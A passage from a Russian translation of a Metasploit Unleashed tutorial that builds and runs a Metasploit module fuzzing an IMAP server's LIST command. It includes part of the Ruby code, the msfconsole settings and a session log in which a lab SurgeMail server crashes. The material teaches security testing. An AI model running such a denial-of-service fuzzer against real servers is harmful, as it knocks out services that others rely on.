connected = connect_login()
            if not connected
                print_status("Host is not responding - this is G00D ;)")
                break
            end
            print_status("Generating fuzzed data...")
            fuzzed = fuzz_str()
            print_status("Sending fuzzed data, buffer length = %d" % fuzzed.length)
            req = '0002 LIST () "/' + fuzzed + '" "PWNED"' + "\r\n"
            print_status(req)
            res = raw_send_recv(req)
            print_status(res)
            disconnect()
        end
    end
end

Overiding the run() метод будет выполнятся каждый раз, когда пользователь будет вводить "run" в msfconsole. Мы подключаемся к IMAP серверу и проходим аутентификацию с помощью функции connect_login() импортируемой из Msf::Exploit::Remote::Imap. Затем мы вызываем функцию fuzz_str (), которая генерирует буквенно-цифровые переменные буфера, в который будет направлен в качестве аргумента список команд IMAP через raw_send_recv функции. Сохраним файл в дирректории auxiliary/dos/windows/imap/ и загрузим его в msfconsole.

msf > use auxiliary/dos/windows/imap/fuzz_imap 
msf auxiliary(fuzz_imap) > show options 
 
Module options:
 
   Name      Current Setting  Required  Description                              
   ----      ---------------  --------  -----------                              
   IMAPPASS                   no        The password for the specified username  
   IMAPUSER                   no        The username to authenticate as          
   RHOST                      yes       The target address                       
   RPORT     143              yes       The target port                          
 
msf auxiliary(fuzz_imap) > set RHOST 172.16.30.7
RHOST => 172.16.30.7
msf auxiliary(fuzz_imap) > set IMAPUSER test
IMAPUSER => test
msf auxiliary(fuzz_imap) > set IMAPPASS test
IMAPPASS => test

Теперь мы готовы к проверке IMAP сервера. Откроем surgemail.exe в ImmunityDebugger и запустим файзинг сессию.

msf auxiliary(fuzz_imap) > run
 
[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Generating fuzzed data...
[*] Sending fuzzed data, buffer length = 684
[*] 0002 LIST () /"v1AD7DnJTVykXGYYM6BmnXL[...]" "PWNED"
 
[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Generating fuzzed data...
[*] Sending fuzzed data, buffer length = 225
[*] 0002 LIST () /"lLdnxGBPh1AWt57pCvAZfiL[...]" "PWNED"
 
[*] 0002 OK LIST completed
 
[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Generating fuzzed data...
[*] Sending fuzzed data, buffer length = 1007
[*] 0002 LIST () /"FzwJjIcL16vW4PXDPpJV[...]gaDm" "PWNED"
 
[*] 
[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Authentication failed
[*] Host is not responding - this is G00D ;)
[*] Auxiliary module execution completed

MSF «говорит» о том, что сервер IMAP, вероятно, рухнул, и ImmunityDebugger подтверждает это, как показано на следующем рисунке:

debugger

На этом пятую часть курса можно считать завершенной, до встречи в следующих частях.
Источник: http://www.offensive-security.com/metasploit-unleashed
Перевод: Э_L_A_Y